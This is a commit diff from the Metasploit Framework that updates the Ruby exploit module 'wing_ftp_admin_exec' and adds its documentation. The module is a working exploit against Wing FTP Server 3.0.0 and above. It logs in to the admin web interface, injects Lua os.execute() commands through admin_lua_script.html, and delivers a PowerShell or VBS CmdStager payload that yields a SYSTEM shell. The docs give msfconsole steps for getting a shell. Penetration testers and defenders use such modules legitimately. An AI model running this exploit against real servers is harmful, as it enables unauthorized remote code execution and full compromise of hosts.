Land #11077, Improvements and documentation for wing_ftp_admin_exec
commit
6765ed80d6
|
@ -0,0 +1,38 @@
|
|||
## Description ##
|
||||
|
||||
This module exploits the embedded Lua interpreter in the admin web interface for versions 3.0.0 and above of Wing FTP Server. When supplying a specially crafted HTTP POST request an attacker can use os.execute() to execute arbitrary system commands on the target with SYSTEM privileges.
|
||||
|
||||
Only versions of Wing FTP Server after 3.0.0 ship with the Lua interpreter and the admin web interface. This makes versions < 3.0.0 presumably NOT vulnerable to this exploit, simply due to the fact that they do not have the capability execute commands this way.
|
||||
|
||||
Versions > 4.3.8 handle URL encoding differently compared to versions <= 4.3.8. Encoding the PowerShell payload with base64 allows it to work. CmdStager fails, however, as it cannot simply be base64 encoded like PowerShell. It is recommended to run `check` first before exploiting to get a feel for the vulnerable app. The module has a built-in check to detect `PowerShell` first before continuing with the exploit. It does so by calling `os.getenv()` to get environment variables, then searching for `PowerShell` case-insensitively. It will fall back to using `CmdStager` if `PowerShell` is absent and the version is <= 4.3.8.
|
||||
|
||||
The full changelog for Wing FTP Server can be found at [https://www.wftpserver.com/serverhistory.htm].
|
||||
|
||||
Information about the admin web interface can be found at [https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm].
|
||||
|
||||
## Vulnerable Application ##
|
||||
|
||||
All versions of Wing FTP Server from 3.0.0 and up are presumed vulnerable.
|
||||
|
||||
Upgraded module has been tested on a Windows Server 2019 Datacenter x64 with the following versions:
|
||||
|
||||
- Wing FTP Server 4.3.8
|
||||
- Wing FTP Server 5.1.3
|
||||
- Wing FTP Server 6.0.1
|
||||
- Wing FTP Server 6.0.2
|
||||
- Wing FTP Server 6.0.3
|
||||
|
||||
Original module was been tested on Windows 7 SP1 and Windows 8.1 with the following versions:
|
||||
|
||||
- Wing FTP Server 4.3.6
|
||||
- Wing FTP Server 4.3.8
|
||||
|
||||
## Verification Steps ##
|
||||
|
||||
- [x] Start `msfconsole`
|
||||
- [x] `use exploit/windows/ftp/wing_ftp_admin_exec`
|
||||
- [x] `set RHOST <target-ip>`
|
||||
- [x] `set USERNAME <valid-username>`
|
||||
- [x] `set PASSWORD <valid-password>`
|
||||
- [x] `exploit`
|
||||
- [x] **Verify** that you get a shell
|
|
@ -3,39 +3,44 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wing FTP Server Authenticated Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits the embedded Lua interpreter in the admin web interface for
|
||||
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
|
||||
versions 3.0.0 and above. When supplying a specially crafted HTTP POST request
|
||||
an attacker can use os.execute() to execute arbitrary system commands on
|
||||
the target with SYSTEM privileges.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Nicholas Nam <nick[at]executionflow.org>'
|
||||
'Nicholas Nam <nick[at]executionflow.org>',
|
||||
'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # minor improvements
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.wftpserver.com' ]
|
||||
['URL', 'http://www.wftpserver.com'],
|
||||
['URL', 'https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm']
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows VBS Stager', {} ]
|
||||
['Wing FTP Server >= 3.0.0', {}]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jun 19 2014',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -45,53 +50,119 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
], self.class
|
||||
)
|
||||
deregister_options('CMDSTAGER::FLAVOR')
|
||||
deregister_options('CMDSTAGER::DECODER')
|
||||
deregister_options('URIPATH')
|
||||
deregister_options('SRVHOST')
|
||||
deregister_options('SRVPORT')
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/admin_login.html',
|
||||
'method' => 'GET'
|
||||
})
|
||||
@session_cookie = ''
|
||||
@version = ''
|
||||
@psh = false
|
||||
@vuln_check = false
|
||||
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
|
||||
elsif res.code != 200
|
||||
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
|
||||
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
|
||||
return Exploit::CheckCode::Appears
|
||||
def check
|
||||
@session_cookie = authenticate(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
if @session_cookie.nil?
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
ver = send_request_cgi(
|
||||
'uri' => '/admin_license.html',
|
||||
'method' => 'POST',
|
||||
'cookie' => @session_cookie,
|
||||
'ctype' => 'text/plain;charset=UTF-8'
|
||||
)
|
||||
|
||||
unless ver
|
||||
vprint_error("Connection failed!")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless ver.code == 200 && ver.body.include?('Wing FTP Server')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
@version = Gem::Version.new(ver.body.scan(/Wing FTP Server ([\d\.]+)/).flatten.first)
|
||||
print_status("Found Wing FTP Server #{@version}")
|
||||
|
||||
# Lua capabilities and administrator console were added in version 3.0.0, so everything above that is (probably) vulnerable
|
||||
unless @version >= Gem::Version.new('3.0.0')
|
||||
@vuln_check = false
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
@vuln_check = true
|
||||
winenv_path = execute_command("PATH")
|
||||
|
||||
unless winenv_path
|
||||
vprint_error("Connection failed!")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if winenv_path.code == 200
|
||||
winenv_path.body.split(';').each do |path_val|
|
||||
if (/powershell/i) =~ path_val
|
||||
print_good("Found Powershell at #{path_val}")
|
||||
@psh = true
|
||||
end
|
||||
end
|
||||
else
|
||||
@psh = false
|
||||
end
|
||||
|
||||
@vuln_check = false
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
@session_cookie = authenticate(username, password)
|
||||
vprint_status("Authenticating...")
|
||||
unless [CheckCode::Vulnerable].include? check
|
||||
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
|
||||
end
|
||||
|
||||
print_status("Sending payload")
|
||||
# Execute the cmdstager, max length of the commands is ~1500
|
||||
execute_cmdstager(flavor: :vbs, linemax: 1500)
|
||||
if @psh == true
|
||||
print_status('Executing payload via PowerShell...')
|
||||
psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true)
|
||||
execute_command(psh_command)
|
||||
else
|
||||
if @version > Gem::Version.new('4.3.8')
|
||||
fail_with(Failure::NoTarget, "Version #{@version} detected and PowerShell not found, aborting exploit attempt!")
|
||||
end
|
||||
print_warning("PowerShell not found, will revert to CmdStager for payload delivery!")
|
||||
print_status("Sending payload...")
|
||||
# Execute the CmdStager, max length of the commands is ~1500
|
||||
execute_cmdstager(flavor: :vbs, linemax: 1500)
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
command = "os.execute('cmd /c #{cmd}')"
|
||||
def execute_command(cmd,_opts = {})
|
||||
# Wrap cmd with [[ ]] to prevent potential problems.
|
||||
if @vuln_check == true
|
||||
command = "print(os.getenv([[#{cmd}]]))"
|
||||
else
|
||||
command = "os.execute([[#{cmd}]])"
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => '/admin_lua_script.html',
|
||||
'method' => 'POST',
|
||||
'cookie' => @session_cookie,
|
||||
'vars_post' => { 'command' => command }
|
||||
'uri' => '/admin_lua_script.html',
|
||||
'method' => 'POST',
|
||||
'encode_params' => true,
|
||||
'cookie' => @session_cookie,
|
||||
'ctype' => 'text/plain;charset=UTF-8',
|
||||
'vars_post' => { 'command' => command }
|
||||
)
|
||||
|
||||
if res && res.code != 200
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
|
||||
end
|
||||
|
||||
if @vuln_check
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
def authenticate(username, password)
|
||||
print_status("Authenticating")
|
||||
res = send_request_cgi(
|
||||
'uri' => '/admin_loginok.html',
|
||||
'method' => 'POST',
|
||||
|
@ -104,19 +175,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
}
|
||||
)
|
||||
|
||||
uidadmin = ''
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
|
||||
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
|
||||
res.get_cookies.split(';').each do |cookie|
|
||||
cookie.split(',').each do |value|
|
||||
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
|
||||
end
|
||||
end
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
||||
unless res
|
||||
print_error("#{peer} - Admin login page was unreachable.")
|
||||
return nil
|
||||
end
|
||||
|
||||
"UIDADMIN=#{uidadmin}"
|
||||
if res.code == 200 && res.body =~ /location='main.html\?lang=english';/
|
||||
res.get_cookies.split(';').each do |cookie|
|
||||
cookie.split(',').each do |value|
|
||||
if value.split('=')[0] =~ /UIDADMIN/
|
||||
vprint_good("Authentication successful, got session cookie #{value.split('=')[1]}")
|
||||
return res.get_cookies.split(';')[0]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_error("#{peer} - Authentication failed!")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue